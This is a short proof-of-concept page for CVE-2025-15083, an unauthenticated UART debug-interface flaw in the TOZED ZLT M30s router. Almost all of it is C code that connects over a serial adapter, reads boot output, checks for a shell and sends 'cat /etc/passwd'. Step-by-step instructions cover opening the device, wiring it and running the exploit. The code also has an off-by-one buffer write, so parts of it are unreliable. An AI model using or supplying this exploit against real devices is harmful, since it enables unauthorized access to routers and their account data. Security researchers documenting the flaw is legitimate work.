CVE-2025-15083: TOZED ZLT M30s UART接口未授权访问漏洞

// CVE-2025-15083 PoC - UART Interface Access // Target: TOZED ZLT M30s // Hardware Required: USB to TTL Serial Adapter, Jumper Wires #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <termios.h> #include <string.h> #define UART_DEVICE "/dev/ttyUSB0" #define BAUD_RATE B115200 int main() { int uart_fd; struct termios options; char buffer[256]; // Open UART device uart_fd = open(UART_DEVICE, O_RDWR | O_NOCTTY | O_NDELAY); if (uart_fd < 0) { perror("Error opening UART"); return -1; } // Configure UART parameters tcgetattr(uart_fd, &options); cfsetispeed(&options, BAUD_RATE); cfsetospeed(&options, BAUD_RATE); options.c_cflag |= (CS8 | CLOCAL | CREAD); options.c_iflag &= ~(IXON | IXOFF | IXANY); options.c_lflag &= ~(ICANON | ECHO | ECHOE | ISIG); tcsetattr(uart_fd, TCSANOW, &options); printf("[+] Connecting to TOZED ZLT M30s UART Interface...\n"); // Wait for device response sleep(2); // Read initial boot messages int bytes_read = read(uart_fd, buffer, sizeof(buffer)); if (bytes_read > 0) { buffer[bytes_read] = '\0'; printf("[+] Received data:\n%s\n", buffer); // Check for debug shell or credentials if (strstr(buffer, "login:") || strstr(buffer, "shell") || strstr(buffer, "#")) { printf("[!] Debug interface accessible - vulnerability confirmed\n"); } } // Send command to enumerate system char *cmd = "cat /etc/passwd\n"; write(uart_fd, cmd, strlen(cmd)); sleep(1); bytes_read = read(uart_fd, buffer, sizeof(buffer)); if (bytes_read > 0) { buffer[bytes_read] = '\0'; printf("[+] System enumeration result:\n%s\n", buffer); } close(uart_fd); return 0; } // Usage: // 1. Open TOZED ZLT M30s device casing // 2. Locate UART pins (TX, RX, GND, VCC) // 3. Connect USB-TTL adapter (GND->GND, TX->RX, RX->TX) // 4. Set baud rate: 115200, 8N1 // 5. Compile and run: gcc -o uart_poc uart_poc.c // 6. Observe boot messages and debug shell access